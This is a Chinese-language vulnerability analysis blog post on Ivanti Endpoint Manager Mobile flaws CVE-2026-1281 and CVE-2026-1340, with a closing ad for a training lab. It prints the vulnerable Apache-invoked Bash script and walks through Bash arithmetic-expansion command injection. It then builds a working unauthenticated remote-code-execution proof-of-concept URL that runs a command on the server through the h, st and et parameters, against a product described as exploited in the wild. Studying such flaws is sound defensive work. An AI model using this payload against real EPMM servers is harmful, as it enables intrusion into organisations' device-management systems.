前言:
文中技術分析僅供交流討論,poc僅供合法測試,用於企業自查,切勿用於非法測試,未授權測試造成後果由使用者承擔,與本公眾號以及棉花糖無關。
介紹:
近日,Ivanti公司披露了Ivanti Endpoint Manager Mobile (EPMM)中存在的代碼注入漏洞(CVE-2026-1281和CVE-2026-1340),並確認已存在在野利用。該漏洞源於 Apache HTTPd 調用的 Bash 腳本在處理時間戳比較時,未能有效過濾惡意參數,導致攻擊者可利用 Bash 算術擴展特性注入系統命令。
分析:
首先拿到補丁包

RPM的包那就好辦了,直接查看它執行了什麼即可,使用命令:
rpm -qp --scripts ivanti-security-update-1761642-1.0.0L-5.noarch.rpm

emmm內容有點多,不過根據已知條件,該漏洞源於 Apache HTTPd ,補丁包裏面很容易看到關鍵的修改Apache HTTPd配置的命令:
/bin/sed -i \
-e 's|RewriteMap mapAppStoreURL prg:/mi/bin/map-appstore-url|RewriteMap mapAppStoreURL "prg:/bin/java -cp /mi/bin AppStoreUrlMapper"|g' \
-e 's|RewriteMap mapAftStoreURL prg:/mi/bin/map-aft-store-url|RewriteMap mapAftStoreURL "prg:/bin/java -cp /mi/bin AFTUrlMapper"|g' \
/etc/httpd/conf.d/ssl.conf
就是説把map-appstore-url和map-aft-store-url給換掉了不用是吧,ok我們去看看這倆腳本是什麼,目錄已經給了在mi/bin下,我們直接進終端查一下

map-appstore-url和map-aft-store-url是個bash腳本,cat就可以直接看內容(另一個腳本內容差不太多,就不展示了)。
#!/bin/bash
set -o nounset
declare -x MI_DATE_COMMAND="date +%Y-%m-%d--%H-%M-%S"
declare -x MI_DATE_FORMAT="%Y-%m-%d--%H-%M-%S"
declare -r kScriptName=$(basename $0)
declare -r kScriptDirectory=$(dirname $0)
declare -r kLogFile="/var/log/${kScriptName}.log"
declare -r kSaltFile="/mi/files/appstore-salt.txt"
declare -r kScriptStartTimeSeconds=$(date +%s)
declare -r kValidTimeStampLength=${#kScriptStartTimeSeconds}
declare -r kAftFileStoreDirectory='/mi/files/aftstore'
# error codes that are used in /etc/httpd/conf.d/ssl.conf
declare -r kPathTraversalAttemptedErrorCode="c91bbeec40aff3fd3fe0c08044c1165a"
declare -r kLinkHashMismatchErrorCode="44b2ff3cf69c5112061aad51e0f7d772"
declare -r kTooLateErrorCode="c6a0e7ca11208b4f11d04a7ee8151a46"
declare -r kTooEarlyErrorCode="80862895184bfa4d00b24d4fbb3d942f"
declare -r kKeyIndexOutOfBoundsErrorCode="f74c27fce7d8e2fecd10ab54eda6bd85"
declare -r kURLStructureInvalidErrorCode="b702087a848177d489a6891bd7869495"
declare -r kTimestampLengthInvalidErrorCode="2ecad569fdaa07e2b66ed2595cf7240f"
declare -r kLinkSpoofErrorCode="cbfa488e9b08d4c5d7b3b2084ffb18e7"
declare -r kLinkUsingOddTraversalErrorCode="f489b91db387b684f56c07e7f5e4308b"
gShouldLogToFile="false"
gSaltFileModificationTime="0"
gTestMode="false"
gErrorCode=0
gErrorMessage=""
declare -a gSaltArray=( )
gCurrentSalt=""
gHostname=""
gPath=""
gStartTime=""
gEndTime=""
if (( $# > 0 )) ; then
gTestMode="true"
fi
#echo "gTestMode=${gTestMode}"
# information
function log() {
if ${gTestMode} ; then
echo "`$MI_DATE_COMMAND` -- ${kScriptName} -- ${1}: ${@:2}"
else
# do not log since it kills performance
echo "$($MI_DATE_COMMAND) -- ${kScriptName} -- ${1}: ${@:2}" >> ${kLogFile}
fi
}
function logDebug() {
if ${gTestMode} ; then
echo "`$MI_DATE_COMMAND` -- ${kScriptName} -- ${1}: ${@:2}"
else
# do not log since it kills performance
${gShouldLogToFile} && echo "$($MI_DATE_COMMAND) -- ${kScriptName} -- ${1}: ${@:2}" >> ${kLogFile}
fi
}
# errorCode
# information
function logDenial() {
local theCurrentDate="$(MI_DATE_COMMAND)"
if ${gTestMode} ; then
echo "$theCurrentDate -- ${kScriptName} -- ${1}: denying: errorCode=${2}: ${@:3}"
else
#echo "$theCurrentDate -- ${kScriptName} -- ${1}: denying: errorCode=${2}: ${@:3}" >> "${kLogFile}"
logger -t "${kScriptName}" -i -p local0.warning "$theCurrentDate -- ${1}: denying: errorCode=${2}: ${@:3}"
fi
}
log "MAIN" "starting"
function dumpSaltArray() {
log "${FUNCNAME}" "entered"
for theSalt in "${gSaltArray[@]}" ; do
log "${FUNCNAME}" "theSalt=$theSalt"
done
}
log "MAIN" "after dumpSaltArray declaration"
function readSaltFile() {
if [[ -f "${kSaltFile}" ]] ; then
theCurrentSaltModificationTime=$(stat -c %Y "${kSaltFile}")
logDebug "${FUNCNAME}" "theCurrentSaltModificationTime=${theCurrentSaltModificationTime}"
theDeltaTime=$(($theCurrentSaltModificationTime - $gSaltFileModificationTime))
logDebug "${FUNCNAME}" "theDeltaTime=${theDeltaTime}"
if [[ "${theDeltaTime}" -ne 0 ]] ; then
log "${FUNCNAME}" "theDeltaTime=${theDeltaTime} not zero; loading salt from kSaltFile=${kSaltFile}"
gSaltArray=( $(cat ${kSaltFile}))
gSaltArray[0]=""
gSaltFileModificationTime=$theCurrentSaltModificationTime
fi
else
log "${FUNCNAME}" "kSaltFile=${kSaltFile} not found"
fi
}
log "MAIN" "after readSaltFile declaration"
#readSaltFile
#dumpSaltArray
#readSaltFile
function lookupSaltByIndex() {
#echo "$1 ${#gSaltArray[*]}"
if [ "$1" -lt ${#gSaltArray[*]} ] ; then
gCurrentSalt=${gSaltArray[$1]}
else
gCurrentSalt=""
fi
logDebug "${FUNCNAME}" "theKeyIndex=$1; gCurrentSalt=$gCurrentSalt"
}
log "MAIN" "after lookupSaltByIndex declaration"
function verifyURLConsistency () {
logDebug "${FUNCNAME}" "${1}"
local ret="" # this is what we eventually echo and it's the name of a file for httpd to send to the client or a pattern that Rewrite is aware of and kill the connection with the right HTTP error code
#theAppStoreString=${1%%:*}
#echo "${theAppStoreString}"
#declare
theOldIFS="${IFS}"
local theArgumentArray
# process what httpd gave us in $1 splitting on the _
IFS="_" && theArgumentArray=(${1})
theAftStoreString=${theArgumentArray[0]}
theAftStoreAssetGUIDWithExtension=${theArgumentArray[1]}
gHostname=${theArgumentArray[2]}
theURLString=${theArgumentArray[3]}
#echo "${theAftStoreString}"
# process what mifs really gave us in $1 splitting on the ,
IFS="," && theAftStoreKeyValueArray=(${theAftStoreString})
IFS="${theOldIFS}"
if (( ${#theArgumentArray[@]} != 4 )) ; then
ret="${kURLStructureInvalidErrorCode}"
log "${FUNCNAME}" "${ret}" "expecting 5 segments; actual=${#theArgumentArray[@]}"
fi
if [[ -z ${ret} ]] ; then
for theKeyMapEntry in "${theAftStoreKeyValueArray[@]}" ; do
theKey="${theKeyMapEntry%%=*}"
theValue="${theKeyMapEntry##*=}"
logDebug "${FUNCNAME}" "theKey=$theKey; theValue=$theValue"
case ${theKey} in
kid)
gKeyIndex="${theValue}"
;;
st)
gStartTime="${theValue}"
if (( ${#gStartTime} != "${kValidTimeStampLength}" )) ; then
ret="${kTimestampLengthInvalidErrorCode}"
fi
;;
et)
gEndTime="${theValue}"
if (( ${#gEndTime} != "${kValidTimeStampLength}" )) ; then
ret="${kTimestampLengthInvalidErrorCode}"
fi
;;
h)
gHashPrefixString="${theValue}"
;;
*)
ret="${kURLStructureInvalidErrorCode}"
logDenial "${FUNCNAME}" "${ret}" "unknown presented key=${theKey}; theValue=${theValue}"
;;
esac
done
fi
if [[ -z ${ret} ]] ; then
lookupSaltByIndex ${gKeyIndex}
if [[ -n "${gCurrentSalt}" ]] ; then
logDebug "${FUNCNAME}" "continuing: gCurrentSalt=$gCurrentSalt"
theCurrentTimeSeconds=$(date +%s)
logDebug "${FUNCNAME}" "theCurrentTimeSeconds=${theCurrentTimeSeconds}"
#theCurrentTimeSeconds=1336011206
#theCurrentTimeSeconds=1336770818
#gHostname="cot-0000001.mobileiron.com"
#gHostname="qa42.mobileiron.com"
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]] ; then
logDebug "${FUNCNAME}" "continuing: not too early"
if [[ ${theCurrentTimeSeconds} -lt ${gEndTime} ]] ; then
logDebug "${FUNCNAME}" "continuing: not too late"
# calculate the path
gPath=${theURLString/\/sha256:${theAftStoreString}/}
theStringToHash="${gCurrentSalt}${gHostname}${gPath}${gStartTime}${gEndTime}"
theAssetFile="${theAftStoreAssetGUIDWithExtension}"
# the string to hash must end with the assetfile start end
logDebug "${FUNCNAME}" "theStringToHash=${theStringToHash}"
if [[ "${theStringToHash}" = *"${theAssetFile}${gStartTime}${gEndTime}" ]] ; then
theSHA256Hash=$(echo -n "${theStringToHash}" | sha256sum)
theSHA256Prefix=${theSHA256Hash:0:64}
# theSHA256Prefix=${theSHA256Hash}
logDebug "${FUNCNAME}" "theSHA256Hash=$theSHA256Hash; theSHA256Prefix=$theSHA256Prefix"
shopt -s nocasematch
if [[ "${theSHA256Prefix}" = "${gHashPrefixString}" ]] ; then
logDebug "${FUNCNAME}" "hash matched"
if [[ "${theAssetFile}" = *..* ]] || [[ "${theAssetFile}" = .* ]] || [[ "${theAssetFile}" = /* ]]; then
ret="${kPathTraversalAttemptedErrorCode}"
logDenial "${FUNCNAME}" "${ret}" "getting spoofed: ${theAssetFile}"
else
ret="${kAftFileStoreDirectory}"/"${theAftStoreAssetGUIDWithExtension}"
fi
else
ret="${kLinkHashMismatchErrorCode}"
logDenial "${FUNCNAME}" "${ret}" "link hash mismatch: theSHA256Prefix=$theSHA256Prefix; gHashPrefixString=${gHashPrefixString}; ${1}"
fi
else
ret="${kLinkSpoofErrorCode}"
logDenial "${FUNCNAME}" "${ret}" "link being spoofed: theStringToHash=${theStringToHash}; requiredSuffix=${theAppStoreSubDirectory}/${theAppStoreAssetGUID}${theAppStoreAssetExtension}${gStartTime}${gEndTime}; ${1}"
fi
shopt -u nocasematch
else
ret="${kTooLateErrorCode}"
logDenial "${FUNCNAME}" "${ret}" "link too late: theCurrentTimeSeconds=${theCurrentTimeSeconds}; ${1}"
fi
else
ret="${kTooEarlyErrorCode}"
logDenial "${FUNCNAME}" "${ret}" "link too early: theCurrentTimeSeconds=${theCurrentTimeSeconds}; ${1}"
fi
else
ret="${kKeyIndexOutOfBoundsErrorCode}"
logDenial "${FUNCNAME}" "${ret}" "key index out of bounds: ${1}"
fi
else
ret="${kURLStructureInvalidErrorCode}"
logDenial "${FUNCNAME}" "${ret}" "URL not structurally correct: ${1}"
fi
# tell httpd what file to send (or error message)
echo "${ret}"
}
if ${gTestMode} ; then
readSaltFile
verifyURLConsistency "${1}"
else
logDebug "MAIN" looping
readSaltFile
while read theCurrentLine; do
readSaltFile
logDebug "MAIN" "${theCurrentLine}"
verifyURLConsistency "${theCurrentLine}"
done
fi
但內容太多了,我們還是請AI老師幫我們統一分析一下

AI老師幫我們分析並得到了一個傳參請求,然後我們還得去apache的配置文件看看入口路徑是什麼,在/etc/httpd/conf.d/ssl.conf文件中找找相關的內容,由於配置文件內容太多了這裏就不貼了,我也懶得找,還是讓AI老師幫我們找找吧。

deepseek老師還是太善解人意了,直接給了一個標準請求:
/mifs/c/appstore/fob/3/1120/sha256:kid=1,st=1666663066,et=1666670266,h=a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2/75dc90fe-6ae7-4377-913b-7248334d39dc.ipa
但這些傳參到bash中,並沒有找到明顯的直接命令執行的點,這時我們需要再理解一下bash腳本,首先看bash腳本中的開頭:
gKeyIndex=""
gStartTime=""
gEndTime=""
gHashPrefixString=""
gPath=""
IFS=',' read -ra theAppStoreKeyValueArray
腳本會用 IFS=',' 把傳入的參數分割成數組 theAppStoreKeyValueArray,傳參後是這樣的數組:
["kid=1", "st=1444444444", "et=1444444444", "h=a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2"]
然後在下方有這樣的一段循環:
if [[ -z ${ret} ]] ; then
for theKeyMapEntry in "${theAftStoreKeyValueArray[@]}" ; do
theKey="${theKeyMapEntry%%=*}"
theValue="${theKeyMapEntry##*=}"
它把傳參的這些參數名和值循環賦值給了theKey和theValue,然後又被賦值到全局變量gKeyIndex、gStartTime、gEndTime、gHashPrefixString中,繼續跟下去,看看這些值在哪裏用到。
key參數賦值到了變量gKeyIndex,最終在這裏應用:
kAppStoreSaltFile="/mi/files/appstore-salt.txt"
gSalt=""
if [[ -f ${kAppStoreSaltFile} ]]; then
gSalt=$(sed -n "${gKeyIndex}p" "${kAppStoreSaltFile}")
if [[ -z ${gSalt} ]]; then
ret="${kSaltIndexInvalidErrorCode}"
logDenial "${FUNCNAME}" "${ret}" "kid(${gKeyIndex}) is invalid (no salt found)"
fi
else
ret="${kSaltFileMissingErrorCode}"
logDenial "${FUNCNAME}" "${ret}" "Salt file ${kAppStoreSaltFile} not found"
fi
它是用來讀取/mi/files/appstore-salt.txt對應行的,這個文件裏面的hash值讀取出來用來校驗後續參數。
st 參數最終賦值給了gStartTime,分別在兩個地方被調用:
kValidTimeStampLength=10
case ${theKey} in
st)
gStartTime="${theValue}"
if (( ${#gStartTime} != "${kValidTimeStampLength}" )); then
ret="${kTimestampLengthInvalidErrorCode}"
fi
;;
這裏判斷了這個參數是否長度為10。
theCurrentTimeSeconds=$(date +%s)
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
logDebug "${FUNCNAME}" "Current time(${theCurrentTimeSeconds}) > start time(${gStartTime})"
# ...
else
ret="${kRequestExpiredErrorCode}"
logDenial "${FUNCNAME}" "${ret}" "Start time(${gStartTime}) is in the future"
fi
這裏用來比較當前時間是否晚於請求開始時間。
et 參數(gEndTime)和gStartTime的用處差不多,也校驗了長度和用於驗證當前時間≤結束時間。
h 參數(gHashPrefixString)是用於hash校驗的值。
看上去還是沒有直觀的命令執行的代碼,別急,我們再引入一個知識點。
首先給大家看一個腳本:
#!/bin/bash
arr=""
var="arr[`echo 'hacked' > ./hack_mht`0]"
[[ 1 -gt $var ]]
if [[ -f ./hack_mht ]]; then
echo "執行成功!"
else
echo "未執行"
fi
bro們覺得這個腳本能成功執行命令嗎?
答案:

為什麼會這樣捏,因為在bash中,數值比較功能可以解析array[index]這樣的數值索引,index會被優先解析為算數表達式,比如array[1+1],會先計算1+1,而bash又有一個命令替換的優先級規則,如果你把array[1+1]改為
array[`echo 111`]
則先執行被反引號包裹的命令,舉例:
current_date=`date`
echo "今天是: $current_date"
echo "當前目錄: `pwd`"
顯然在if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; 和if [[ ${theCurrentTimeSeconds} -lt ${gEndTime} ]] ; 中都存在這個條件,但我們之前説了,gStartTime和gEndTime都做了長度校驗的,必須為十位,這就很雞肋了,那怎麼樣才能繞過這個問題呢?
回到最開始的定義變量與循環:
if [[ -z ${ret} ]] ; then
for theKeyMapEntry in "${theAftStoreKeyValueArray[@]}" ; do
theKey="${theKeyMapEntry%%=*}"
theValue="${theKeyMapEntry##*=}"
bash中使用theKey和theValue循環賦值,傳參的最後一個值為h,所以theValue最後的值是就是h的值,那現在就很有意思了,gStartTime和gEndTime都有長度限制,但h的值沒有,能不能讓h的值走到if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then裏面去應用數值索引+命令替換呢?
可以的,既然在bash中有變量theValue=h傳參,那我們就直接讓gStartTime=theValue,最終流程:可控h參數->theValue->gStartTime,然後進入if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]];應用數值索引+命令替換,現在我們已經有了RCE的完整鏈條,開始構造最終poc。
kid參數為文件行數,隨便用個1,st參數為theValue,注意十位長度校驗,所以還需要再加兩個空格,et參數也參與比較,也可作為theValue傳參,st與et隨便一個地方設置為theValue都可以,最後是h參數,只需要滿足array[index]即可。
index部分的內容有了,array部分寫什麼呢,bash開頭開啓了set -o nounset,這是嚴格模式,嚴格模式下,Bash 遇到未定義的變量會直接終止腳本執行,直接從bash開頭定義的那些空變量裏面選一個,比如gPath和gHostname都可以,構造最終值:
gHostname[`id > /mi/bin/mht`]
最終poc:
/mifs/c/appstore/fob/3/1120/sha256:kid=1,st=1111111111,et=theValue%20%20,h=gHostname%5B%60id%20>%20/mi/bin/mht%60%5D/mht.ipa

該漏洞復現環境已在無境中上架:vip.bdziyi.com/ulab,無境,英文名Unbounded Lab,是專為網絡安全學習者打造的綜合性實戰平台,提供真實企業級漏洞環境,讓您在安全的環境中提升實戰技能,核心特色:獨立隔離環境,每位用户都擁有完全獨立的靶場環境,即使是龐大的內網靶場,環境之間也是零干擾,確保您的學習過程不受任何影響。